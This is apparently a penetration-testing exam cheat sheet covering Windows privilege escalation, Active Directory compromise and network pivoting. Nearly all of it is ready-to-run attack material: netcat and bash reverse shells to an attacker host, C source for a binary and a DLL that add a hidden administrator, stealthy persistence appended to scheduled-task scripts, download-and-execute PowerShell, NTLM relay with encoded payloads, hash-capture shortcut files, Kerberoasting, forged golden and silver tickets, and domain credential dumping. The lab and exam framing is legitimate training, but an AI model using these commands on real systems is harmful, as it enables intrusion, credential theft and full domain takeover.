a privilege with Se in front of it, a service path you can write to, or a credential lying about. One of them is usually the answer

whoami /privwhoami /groupsnet localgroup administrators
am I already admin

in the administrators group but Medium integrity means UAC is in the way, not permissions. Come back in over winrm or smb instead of hunting for a privesc

whoami /groups | findstr /i "mandatory"net localgroup administrators | findstr /i "%USERNAME%"
automate it

quiet servicesinfo when the full output is too much to read

.\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-UnquotedService; Get-ModifiableService"
accesschk

the tool the service checks lean on. -uwcqv is "what can this principal write"

.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwcqv "Everyone" *.\accesschk.exe /accepteula -uwdq C:\.\accesschk.exe /accepteula -ucqv <service>

privileges [5]

whoami /priv, and anything enabled that is not the three defaults is worth looking up

look the privilege or group up

every SeXxx line of whoami /priv and every line of whoami /groups that changes what you do next — what it gives you, how to use it from the box and from kali

open the privilege lookup
SeImpersonate / SeAssignPrimaryToken

service accounts — iis, mssql — nearly always have it. A potato turns it into SYSTEM. PrintSpoofer first, GodPotato if the spooler is off

.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd".\SigmaPotato.exe "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"
SeBackupPrivilege

read any file whatever the ACL says. The two hives give you the local admin hash

reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemrobocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtimpacket-secretsdump -sam sam -system system LOCAL
SeRestore / SeTakeOwnership

write any file. Swap something SYSTEM runs — a service binary is quieter than utilman, which needs the lock screen

takeown /f C:\Windows\System32\utilman.exeicacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
the rest, briefly
# SeDebug          : dump lsass — see "on the box > windows — dump creds"# SeManageVolume   : SeManageVolumeExploit.exe gives full control of C:\, then drop a dll in System32# SeLoadDriver     : capcom / EoPLoadDriver — rarer and slower, leave it till lastwhoami /priv | findstr /i "backup restore takeown debug managevolume loaddriver impersonate"

services [8]

the most common windows privesc on the exam. Three separate holes — the binary, the service config, and an unquoted path

list them

filter out C:\Windows — what is left is third-party and worth checking

Get-CimInstance win32_service | select Name,State,PathName,StartMode | where {$_.State -eq 'Running'}wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"sc qc <service>
can I write the binary

(F) or (M) for Users, Everyone, Authenticated Users or your own name is the hole

icacls "C:\path\to\service.exe"icacls "C:\path\to"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile"
replace it

a plain reverse shell gets killed after 30 seconds — build it with -f exe-service, or add a user instead and come back in cleanly

move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"iwr http://$LHOST:8000/svc.exe -OutFile "C:\path\to\service.exe"iwr http://$LHOST:8000/adduser.exe -OutFile "C:\path\to\service.exe"
adduser.exe

compile on kali with mingw — see foothold. Quieter than a shell, and the account survives a reboot

source
#include <stdlib.h>int main() {    system("net user hacker Passw0rd! /add");    system("net localgroup administrators hacker /add");    return 0;}// x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
restart it

no rights to restart, but the service is set to start automatically, and you have SeShutdown? Reboot it

net stop <service> && net start <service>Restart-Service <service> -Forcesc stop <service> & sc start <service>whoami /priv | findstr SeShutdown && shutdown /r /t 0
can I change the config

SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS means you repoint the service at anything you like

.\accesschk.exe /accepteula -ucqv <service>sc config <service> binpath= "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"sc config <service> obj= "LocalSystem" start= autopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-ServiceAbuse -Name '<service>' -Command 'net localgroup administrators hacker /add'"
unquoted service path

C:\Program Files\My App\svc.exe tries C:\Program.exe, then C:\Program Files\My.exe. Write your binary at the first one you have rights to

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '"'powershell -ep bypass -c ". .\PowerUp.ps1; Get-UnquotedService"icacls "C:\Program Files\My App"iwr http://$LHOST:8000/adduser.exe -OutFile "C:\Program Files\My App\My.exe"
dll hijack

a service that loads a dll out of a directory you can write to. Procmon finds the missing one if you have a desktop

dll source
#include <windows.h>#include <stdlib.h>BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) {    if (reason == DLL_PROCESS_ATTACH) {        system("cmd.exe /c net user hacker Passw0rd! /add");        system("cmd.exe /c net localgroup administrators hacker /add");    }    return TRUE;}// x86_64-w64-mingw32-gcc evil.c --shared -o evil.dll

tasks & autoruns [4]

scheduled tasks

Run As User is the line that matters, then icacls whatever Task To Run points at

schtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /vicacls C:\path\to\script.ps1
append to the script

append rather than overwrite — the task still does its job and nobody notices

echo C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd >> C:\path\to\script.batAdd-Content C:\path\to\script.ps1 'Start-Process C:\Windows\Temp\nc.exe -ArgumentList "$LHOST $LPORT -e cmd"'
autoruns
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOncepowershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableRegistryAutoRun"
AlwaysInstallElevated

both keys set to 1 and any msi installs as SYSTEM. Rare, but it is two commands to check

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsiexec /quiet /qn /i C:\Windows\Temp\evil.msi

use what you found [3]

a password is only useful if you can become that user. runas needs a desktop, so from a plain shell use RunasCs or come back in from kali

become another user
.\RunasCs.exe $USER2 $PASS2 cmd -r $LHOST:$LPORT.\RunasCs.exe $USER2 $PASS2 "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd" -d $DOMAINrunas /user:$DOMAIN\$USER2 cmd
or just come back in

usually easier than anything on the box, and it gives you a high-integrity shell for free

evil-winrm -i $IP -u $USER2 -p $PASS2nxc smb $IP -u $USER2 -p $PASS2 --local-authimpacket-psexec "$USER2:$PASS2@$IP"xfreerdp /v:$IP /u:$USER2 /p:$PASS2 /cert:ignore /dynamic-resolution
saved credential
cmdkey /listrunas /savecred /user:$DOMAIN\$ADMINU "C:\Windows\Temp\nc.exe $LHOST $LPORT -e cmd"

patches & software [3]

last, not first. A kernel exploit can bluescreen the box, and a reverted exam box costs you half an hour

what is missing
systeminfo > C:\Windows\Temp\sysinfo.mdpython3 wes.py --updatepython3 wes.py $WORKDIR/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-onlywmic qfe get HotFixID,InstalledOn
the ones that keep turning up
# PrintNightmare CVE-2021-34527 — spooler running and the 2021 patch missing# HiveNightmare  CVE-2021-36934 — win10 1809+, check the SAM ACL below# potatoes                      — see privileges, far more reliable than eitherGet-Service Spoolericacls C:\Windows\System32\config\SAM
third-party software

whatever is in Program Files that is not Microsoft. The box was usually built around one of them

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*","HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion | where DisplayNamedir "C:\Program Files" "C:\Program Files (x86)"searchsploit <product>

active directory

the 40-point set — 10 for each client, 20 for the DC, each scored on its own, starting from a username and password the control panel gives you. It is still one chain, where creds off one host open the next, so every new credential goes through "which creds work where" before you do anything else

get your bearings [4]

is it a DC, and what is it called

Kerberos will not work against a bare IP, so the FQDN goes into hosts before anything else

nxc smb $IPnmap -p 88,135,139,389,445,636,3268,5985 $IPecho "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts
fix the clock

KRB_AP_ERR_SKEW means you are more than five minutes off the DC. Take the time from the DC, not the internet

sudo timedatectl set-ntp offsudo ntpdate $DC
which creds work where

the single most useful command on the set. Run it the moment you land any credential, against every host you know. Pwn3d! means local admin

nxc smb $SUBNET -u $USER1 -p $PASS1nxc smb $SUBNET -u $USER1 -H $HASH1nxc winrm $SUBNET -u $USER1 -p $PASS1nxc rdp $SUBNET -u $USER1 -p $PASS1nxc mssql $SUBNET -u $USER1 -p $PASS1
password policy

before any spray. Threshold 0 means spray freely. 3 or 5 means one password per round, and locking out the account you need is a bad hour

nxc smb $DC -u $USER1 -p $PASS1 --pass-polnet accounts /domain

enumerate from kali [4]

with no creds at all

rid brute through a guest or null session is usually the fastest route to a full user list

nxc smb $DC -u '' -p '' --usersnxc smb $DC -u guest -p '' --users --rid-brute 10000impacket-lookupsid guest@$DC -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $USERLISTkerbrute userenum -d $DOMAIN --dc $DC $SECLISTS/Usernames/xato-net-10-million-usernames.txt
with one user

get-desc-users is worth running every time — people put passwords in the description field

nxc smb $DC -u $USER1 -p $PASS1 --users --groups --loggedon-users --sessions --pass-polnxc ldap $DC -u $USER1 -p $PASS1 -M get-desc-usersnxc ldap $DC -u $USER1 -p $PASS1 --password-not-required --admin-count --trusted-for-delegationimpacket-GetADUsers -all "$DOMAIN/$USER1:$PASS1" -dc-ip $DCldapdomaindump -u "$DOMAIN\\$USER1" -p "$PASS1" -o $WORKDIR/loot/ldap $DC
build the user list
nxc smb $DC -u $USER1 -p $PASS1 --users | awk '{print $5}' | grep -vE '^-?$' | sort -u >> $USERLISTsort -u -o $USERLIST $USERLIST && wc -l $USERLIST
shares across the domain

SYSVOL and NETLOGON are readable by every domain user and often hold scripts with passwords in them

nxc smb $SUBNET -u $USER1 -p $PASS1 --sharesnxc smb $DC -u $USER1 -p $PASS1 -M spider_plusfindstr /S /I cpassword \\$DC\sysvol\$DOMAIN\Policies\*.xmlnxc smb $DC -u $USER1 -p $PASS1 -M gpp_password

bloodhound [6]

collect it as soon as you have one domain credential. It is the difference between guessing and knowing which box is next

collect
bloodhound-python -d $DOMAIN -u $USER1 -p $PASS1 -dc $DC -ns $IP -c All --zipnxc ldap $DC -u $USER1 -p $PASS1 --bloodhound --collection All --dns-server $IP
what to ask it

mark every user you own as Owned first — the "from Owned Principals" queries are useless without it

# Shortest Paths from Owned Principals# Shortest Paths to Domain Admins / to High Value Targets# Find Principals with DCSync Rights# List all Kerberoastable Accounts / AS-REP Roastable Users# click each owned user > Outbound Object Control — GenericAll, GenericWrite, WriteDacl, ForceChangePassword# click each owned user > Sessions — where else is this account logged in
now look the edge up

the graph names an edge, that page gives you the command for it — every edge A to Z, with the creds from this panel already in them

open the bloodhound edge lookup
install the docker stack

once per machine. Put it on 8088, not the default 8080, which is Burp's proxy — leave both on 8080 and whichever you start second cannot bind. The initial password is printed to the log the first time it comes up and nowhere else, so grab it before you clear the terminal

install
sudo apt update && sudo apt install -y docker.io docker-compose-pluginsudo systemctl enable --now dockersudo usermod -aG docker $USER   # log out and back in for this to takemkdir -p ~/bloodhound && cd ~/bloodhoundcurl -L https://ghst.ly/getbhce -o docker-compose.ymlecho 'BLOODHOUND_PORT=8088' > .env   # host side only — the container stays on 8080docker compose pull && docker compose up -ddocker compose port bloodhound 8080  # should say 127.0.0.1:8088docker compose logs bloodhound | grep -i "Initial Password"# http://localhost:8088/ui/login — admin + that password, then set your own
already installed it on 8080

writing the .env is not enough on its own — compose only re-reads the port when the container is recreated

move it
cd ~/bloodhoundecho 'BLOODHOUND_PORT=8088' > .envdocker compose up -d --force-recreatedocker compose port bloodhound 8080  # should say 127.0.0.1:8088# the graph is in a volume, so nothing you have collected is lost
start it back up

already installed. It does not survive a reboot unless you bring it back yourself

start
cd ~/bloodhounddocker compose up -d && docker compose psdocker compose logs -f bloodhound   # ctrl-c once it says it is serving# http://localhost:8088/ui/logindocker compose stop                 # done for the day, data stays putdocker compose down -v              # wipe the graph and start clean

enumerate from a joined host [4]

net is on every windows box. PowerView needs loading first and gives you far more

net
net user /domainnet user $USER1 /domainnet group "Domain Admins" /domainnet group "Domain Computers" /domainnltest /dclist:$DOMAIN
load powerview
powershell -ep bypassImport-Module .\PowerView.ps1iex(New-Object Net.WebClient).DownloadString('http://$LHOST:8000/PowerView.ps1')
powerview — look around
Get-NetDomainGet-NetUser | select cn,description,pwdlastset,lastlogonGet-NetUser -SPN | select samaccountname,serviceprincipalnameGet-DomainUser -PreauthNotRequiredGet-NetGroupMember "Domain Admins"Get-NetComputer | select dnshostname,operatingsystem
powerview — where can I go

Find-LocalAdminAccess is the one to run. Every host where this user is already a local admin

Find-LocalAdminAccessGet-NetSession -ComputerName $DCGet-NetLoggedon -ComputerName $DCFind-DomainShare -CheckShareAccess

get a credential [9]

AS-REP roast

accounts with pre-authentication disabled. No credential needed at all, just a user list

impacket-GetNPUsers "$DOMAIN/" -usersfile $USERLIST -format hashcat -dc-ip $DC -outputfile $WORKDIR/loot/asrep.mdnxc ldap $DC -u $USER1 -p $PASS1 --asreproast $WORKDIR/loot/asrep.mdhashcat -m 18200 $WORKDIR/loot/asrep.md $ROCKYOU
kerberoast

any domain user can request these. Service accounts often have old, weak, never-expiring passwords

impacket-GetUserSPNs "$DOMAIN/$USER1:$PASS1" -dc-ip $DC -request -outputfile $WORKDIR/loot/roast.mdnxc ldap $DC -u $USER1 -p $PASS1 --kerberoasting $WORKDIR/loot/roast.mdhashcat -m 13100 $WORKDIR/loot/roast.md $ROCKYOU
roast from a joined host

Rubeus does both without kali seeing the DC. /nowrap so the hash copies in one piece. It is .NET, so evil-winrm's Invoke-Binary runs it without writing it to disk

.\Rubeus.exe kerberoast /nowrap /outfile:C:\Windows\Temp\roast.md.\Rubeus.exe asreproast /nowrap /format:hashcat /outfile:C:\Windows\Temp\asrep.md.\Rubeus.exe kerberoast /user:$USER2 /nowrapInvoke-Binary $WORKDIR/www/Rubeus.exe kerberoast# powerview, when Rubeus is caught:Invoke-Kerberoast -OutputFormat Hashcat | select -ExpandProperty Hash
spray

check the lockout policy first. One password against every user beats every password against one user

nxc smb $DC -u $USERLIST -p $PASS1 --continue-on-successnxc smb $DC -u $USERLIST -p $PASSLIST --no-bruteforce --continue-on-successkerbrute passwordspray -d $DOMAIN --dc $DC $USERLIST $PASS1
spray from a joined host

when kali cannot see the DC yet. DomainPasswordSpray reads the lockout policy itself and stops short of it. Or get the tunnel up and use nxc, which is the same thing with better output

iex(iwr http://$LHOST:8000/DomainPasswordSpray.ps1 -UseBasicParsing); Invoke-DomainPasswordSpray -Password '$PASS1' -OutFile C:\Windows\Temp\sprayed.mdInvoke-DomainPasswordSpray -UserList C:\Windows\Temp\users.md -Password '$PASS1'net accounts /domainproxychains -q nxc smb $DC -u $USERLIST -p $PASS1 --continue-on-success
responder — listen

poisoning is banned on the exam, so -A keeps the poisoners off and only the servers up. Nothing arrives on its own then — the next card makes something connect. A captured NetNTLMv2 cracks but does not pass

sudo responder -I tun0 -Ahashcat -m 5600 $WORKDIR/loot/netntlmv2.md $ROCKYOU
make the target connect to you

anywhere the box takes a path takes a UNC path. Whatever service account is behind the web app or the database is what authenticates to you, and that is usually the credential you were missing

# a file upload, a "fetch from url" field, a path in a form, an include:\\$LHOST\x\file.txt# from mssql, as any login at all:EXEC master..xp_dirtree '\\$LHOST\x'EXEC master..xp_fileexist '\\$LHOST\x'# a file dropped in a share people open — explorer fetches the icon, and authenticates to do it:printf '[InternetShortcut]\nURL=file://$LHOST/x\nIconFile=\\\\$LHOST\\x\\i.ico\nIconIndex=1\n' > $WORKDIR/www/@readme.urlprintf '[Shell]\nCommand=2\nIconFile=\\\\$LHOST\\x\\i.ico\n[Taskbar]\nCommand=ToggleDesktop\n' > $WORKDIR/www/@readme.scf
relay it instead of cracking it

a hash that will not crack still works once, live, against a host where that account is local admin and smb signing is off — never the DC, it signs. Relaying a connection the target made is not poisoning, but it is the grey edge of the rules, so keep the poisoners off and be ready to explain it

nxc smb $SUBNET --gen-relay-list $WORKDIR/relay.mdsudo impacket-ntlmrelayx -tf $WORKDIR/relay.md -smb2support --no-http-serversudo impacket-ntlmrelayx -t $IP2 -smb2support --no-http-server -c "powershell -nop -w hidden -enc <base64>"# responder cannot hold 445 at the same time: SMB = Off and HTTP = Off in /etc/responder/Responder.conf
from a box you own

a local admin anywhere gives you that machine's stored creds, and those creds are usually good somewhere else

nxc smb $IP -u $ADMINU -p $ADMINP --sam --lsanxc smb $SUBNET -u $ADMINU -H $ADMINH --sam --lsaimpacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$IP"

move sideways [6]

this is the whole set. A credential, then a host it works on, then that host's credentials, then the next host

get a shell

psexec and wmiexec need local admin. wmiexec is quieter and does not drop a service

evil-winrm -i $IP -u $ADMINU -p $ADMINPevil-winrm -i $IP -u $ADMINU -H $ADMINHimpacket-psexec "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-wmiexec "$DOMAIN/$ADMINU:$ADMINP@$IP"impacket-smbexec "$DOMAIN/$ADMINU:$ADMINP@$IP"
pass the hash

an NT hash goes everywhere a password does. The empty LM half before the colon is not a typo. rdp is the exception — it needs Restricted Admin mode on the target, which is one registry key a local admin can set over smb

impacket-psexec -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"impacket-wmiexec -hashes :$ADMINH "$DOMAIN/$ADMINU@$IP"nxc smb $IP -u $ADMINU -H $ADMINH -x whoamievil-winrm -i $IP -u $ADMINU -H $ADMINHnxc smb $IP -u $ADMINU -H $ADMINH -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'xfreerdp /v:$IP /u:$ADMINU /pth:$ADMINH /cert:ignore /dynamic-resolution
run one command everywhere

for finding the one host that matters without shelling into each

nxc smb $SUBNET -u $ADMINU -p $ADMINP -x "whoami"nxc smb $SUBNET -u $ADMINU -p $ADMINP -X "Get-ChildItem C:\Users\*\Desktop"
from a windows box you already own

the inside boxes before the tunnel is up, with what the box already has. Every one of these needs local admin on the far end. Build $cred once. The two IP forms go over DCOM, so they need no TrustedHosts — but MMC20 runs as whoever you are, so start from a shell as that admin (RunasCs gets you one)

$pw = ConvertTo-SecureString '$ADMINP' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('$DOMAIN\$ADMINU', $pw)winrs -r:$DC -u:$DOMAIN\$ADMINU -p:$ADMINP "cmd /c hostname & whoami"Invoke-Command -ComputerName $DC -Credential $cred -ScriptBlock { hostname; whoami }New-PSSession -ComputerName $DC -Credential $cred; Enter-PSSession 1$s = New-CimSession -ComputerName $IP2 -Credential $cred -SessionOption (New-CimSessionOption -Protocol DCOM); Invoke-CimMethod -CimSession $s -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='powershell -nop -w hidden -enc <base64>'}$m = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application.1","$IP2")); $m.Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -enc <base64>","7").\PsExec64.exe -accepteula \\$DC -u $DOMAIN\$ADMINU -p $ADMINP -i cmd
use a ticket

AUTH holds the .ccache path. Kerberos needs the FQDN, never the IP

export KRB5CCNAME=$ADMINAklistimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC"nxc smb $DC -u $ADMINU --use-kcache
adcs

certipy find -vulnerable names the template and the attack. A certificate outlives a password reset

certipy find -u "$USER1@$DOMAIN" -p $PASS1 -dc-ip $DC -vulnerable -stdoutcertipy req -u "$USER1@$DOMAIN" -p $PASS1 -target $DC -ca CA-NAME -template Template -upn "$ADMINU@$DOMAIN"certipy auth -pfx administrator.pfx -dc-ip $DC

tickets [6]

a hash or a password becomes a ticket, and a ticket goes where NTLM is blocked. SID is the domain SID from the panel. klist on windows and KRB5CCNAME on kali is where the current one lives

overpass the hash

an NT hash into a TGT. On windows the new process holds the ticket — run everything kerberos from inside it

impacket-getTGT -hashes :$ADMINH "$DOMAIN/$ADMINU" -dc-ip $IP && export KRB5CCNAME=$ADMINU.ccacheimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC".\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:$ADMINU /domain:$DOMAIN /ntlm:$ADMINH /run:powershell" exit.\Rubeus.exe asktgt /user:$ADMINU /rc4:$ADMINH /ptt
pass the ticket

the tickets already in memory on a box you own are other people's logons. List them, take the one with a name you want, inject it

.\Rubeus.exe triage.\Rubeus.exe dump /service:krbtgt /nowrap.\Rubeus.exe ptt /ticket:<base64>.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit.\mimikatz.exe "kerberos::ptt [0;3e4]-2-0-40e10000-Administrator@krbtgt-CORP.COM.kirbi" exitklist
carry a ticket between kali and windows

kirbi on windows, ccache on kali — convert, then point KRB5CCNAME at it. Kerberos wants the FQDN, never the IP, and evil-winrm's -r wants the realm in /etc/krb5.conf

impacket-ticketConverter ticket.kirbi ticket.ccacheimpacket-ticketConverter ticket.ccache ticket.kirbiexport KRB5CCNAME=$WORKDIR/loot/ticket.ccache; klistimpacket-psexec -k -no-pass "$DOMAIN/$ADMINU@$DC"nxc smb $DC --use-kcacheevil-winrm -i $DC -r $DOMAIN
silver ticket

the NT hash of a service account forges a ticket for its service, as anyone at all, and the DC is never asked. HASH1 is the service account's hash, the user can be any name, and the SPN is the service — cifs for smb and psexec, http for winrm, mssqlsvc for sql

impacket-ticketer -nthash $HASH1 -domain-sid $SID -domain $DOMAIN -spn cifs/$DC Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC".\mimikatz.exe "kerberos::golden /sid:$SID /domain:$DOMAIN /ptt /target:$DC /service:http /rc4:$HASH1 /user:$ADMINU" exitiwr -UseDefaultCredentials http://$DC
golden ticket

the krbtgt hash from dcsync forges a TGT for anyone, for ten years. It survives every password change and a revert of the DC, so it is also your way back in

impacket-ticketer -nthash <krbtgt hash> -domain-sid $SID -domain $DOMAIN Administratorexport KRB5CCNAME=Administrator.ccache && impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC".\mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$SID /krbtgt:<krbtgt hash> /ptt" exit.\PsExec64.exe \\$DC cmd
whose sid is it

the domain SID is any user's SID minus the last block. Any domain account can read it

whoami /userGet-DomainSIDimpacket-lookupsid "$DOMAIN/$USER1:$PASS1@$DC" | grep 'Domain SID'nxc ldap $DC -u $USER1 -p $PASS1 --get-sid

take the domain [3]

dcsync

needs replication rights — bloodhound's DCSync query tells you who has them. Domain admin always does

impacket-secretsdump "$DOMAIN/$ADMINU:$ADMINP@$DC" -just-dc-ntlmimpacket-secretsdump -hashes :$ADMINH "$DOMAIN/$ADMINU@$DC" -just-dcnxc smb $DC -u $ADMINU -p $ADMINP --ntds.\mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\krbtgt" exit
ntds.dit off a DC you own

when you are SYSTEM on the DC but have no replication rights. The file is locked, so it comes out of a shadow copy, and the SYSTEM hive comes with it or nothing decrypts. A Backup Operator does the same through diskshadow — see the privilege lookup

vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\system# or in one go:ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds" q q# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCAL
the proof

all three boxes need proof.txt. Take the screenshots as you go — people lose points by leaving it to the end

type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig

pivoting

a second interface on a box means a network behind it. Set SUBNET and PIVOT in the panel, pick one tunnel and stay with it, then IP2 is whichever inside box you are working

is there anything behind this box [3]

look

a second interface, or a route to something you have not scanned. That is the AD set on the exam

ip a; ip route; arp -a; cat /etc/hostsipconfig /all & route print & arp -a
what is alive back there

before any tunnel — a sweep from the box itself needs nothing installed. The prefix comes off SUBNET, so this is a /24 sweep

net=$(echo $SUBNET | cut -d. -f1-3); for i in $(seq 1 254); do (ping -c1 -W1 $net.$i >/dev/null && echo "$net.$i up") & done; wait$n = ('$SUBNET' -split '\.')[0..2] -join '.'; 1..254 | % { if (Test-Connection -Count 1 -Quiet "$n.$_") { "$n.$_ up" } }
ports, with nothing installed
for p in 21 22 25 80 139 445 1433 3306 3389 5985 8080; do (echo >/dev/tcp/$IP2/$p) 2>/dev/null && echo "$p open"; donefor p in $(seq 1 1000); do (echo >/dev/tcp/127.0.0.1/$p) >/dev/null 2>&1 && echo "$p open"; doneforeach ($p in 21,22,80,139,445,3389,5985) { if ((New-Object Net.Sockets.TcpClient).ConnectAsync("$IP2",$p).Wait(300)) { "$p open" } }

ligolo-ng [9]

the one to reach for. It gives you a real interface, so every tool works unchanged — no proxychains, no -sT, and UDP and ICMP come along too. Two binaries, proxy on kali and agent on the box

once per machine — the interface

the tun interface is yours, not the box's. Make it once and leave it up

sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upip link show ligolo
start the proxy on kali
./proxy -selfcert -laddr 0.0.0.0:11601
connect the agent from the box

push the right binary over first — see file transfer. -ignore-cert pairs with -selfcert

./agent -connect $LHOST:11601 -ignore-cert.\agent.exe -connect $LHOST:11601 -ignore-certStart-Process -NoNewWindow .\agent.exe -ArgumentList "-connect $LHOST:11601 -ignore-cert"
route the subnet to it

in the proxy console. session, pick the agent, start — then add the route on kali and the whole subnet is reachable

sessionifconfigstart# in another terminal on kali:sudo ip route add $SUBNET dev ligoloip route get $PIVOT
now use it like any other target

nothing is wrapped. nmap does SYN scans, nxc works, evil-winrm works, rdp works. Sweep the subnet first, then put the box you pick in IP2

nmap -sn $SUBNET -oA $WORKDIR/scans/sweepnmap -sC -sV -oA $WORKDIR/scans/$IP2 $IP2nxc smb $SUBNET -u $USER1 -p $PASS1evil-winrm -i $IP2 -u $USER1 -p $PASS1xfreerdp /v:$IP2 /u:$USER1 /p:$PASS1 /cert:ignore
let the inside box reach you

a reverse shell from inside the subnet has no route back to tun0. A listener on the agent forwards it to you, so the inside box connects to PIVOT, not to LHOST

# in the proxy console, with the session selected:listener_add --addr 0.0.0.0:$LPORT --to 127.0.0.1:$LPORT --tcplistener_list# the inside box now connects to the pivot's own address on that port:bash -i >& /dev/tcp/$PIVOT/$LPORT 0>&1
serve files into the subnet

same again for http — the inside box pulls from the pivot, not from you

# proxy console:listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000 --tcp# on the inside box:iwr http://$PIVOT:8000/winPEASx64.exe -OutFile C:\Windows\Temp\w.execurl -sO http://$PIVOT:8000/linpeas.sh
a second hop

the second box cannot reach you on 11601 either — agent 2 connects to agent 1, which forwards it on. Then a second tun and route on kali, so the two chains do not collide

# proxy console, with session 1 selected — the agent port, forwarded like any other:listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp# on the second box, aimed at the first pivot's inside address:./agent -connect $PIVOT:11601 -ignore-cert# on kali — its own interface and route, then session > pick agent 2 > start --tun ligolo2sudo ip tuntap add user $(whoami) mode tun ligolo2 && sudo ip link set ligolo2 upsudo ip route add 172.16.6.0/24 dev ligolo2
tidy up
sudo ip route del $SUBNET dev ligolosudo ip link del ligolo

ssh forwards [6]

no binary to upload. Needs ssh creds or a key, and the shape is easy to get backwards — L brings a remote port to you, R pushes a local port to them, D is a socks proxy

local — their port on your box
ssh -L 8080:127.0.0.1:80 $USER1@$IPssh -L 8080:$IP2:80 $USER1@$IPssh -N -f -L 3306:127.0.0.1:3306 $USER1@$IP
remote — your port on their box

for a reverse shell from a third box that cannot reach you

ssh -R 9001:127.0.0.1:9001 $USER1@$IPssh -N -f -R 8000:127.0.0.1:8000 $USER1@$IP
dynamic — a socks proxy
ssh -D 1080 -N $USER1@$IPssh -D 1080 -N -i id_rsa $USER1@$IP
remote dynamic — the box dials out to you

for when you cannot ssh in but the box can ssh out. Start sshd on kali, make a throwaway user, and the box pushes a socks proxy back to you. Needs OpenSSH 7.6 or newer on the box

sudo systemctl start ssh && sudo useradd -m -s /bin/bash tunnel && sudo passwd tunnelssh -N -R 1080 tunnel@$LHOST# on kali: socks5 127.0.0.1 1080 in proxychains4.conf, then proxychains as usual
sshuttle — a vpn over ssh

ssh creds on the pivot and python on it is all it needs. Routes the whole subnet through the ssh session, so every tool works unchanged

sudo apt install -y sshuttlesshuttle -r $USER1@$IP $SUBNETsshuttle -r $USER1@$IP $SUBNET --ssh-cmd 'ssh -i id_rsa'
from windows, with plink
plink.exe -ssh -l $USER1 -pw $PASS1 -R 9001:127.0.0.1:9001 $LHOSTcmd.exe /c echo y | plink.exe -ssh -l $USER1 -pw $PASS1 -N -D 1080 $LHOST

chisel [3]

when ligolo will not run but a single static binary will. Reverse is the one that matters — the box dials out to you

reverse socks
./chisel server -p 8000 --reverse./chisel client $LHOST:8000 R:1080:socks.\chisel.exe client $LHOST:8000 R:1080:socks
a single port, forward
./chisel server -p 8000./chisel client $LHOST:8000 8080:$IP2:80
a single port, reverse
./chisel server -p 8000 --reverse./chisel client $LHOST:8000 R:3389:$IP2:3389

proxychains [2]

what chisel and ssh -D need. TCP connect only, so nmap wants -sT -Pn and anything using raw sockets or UDP will not work

configure
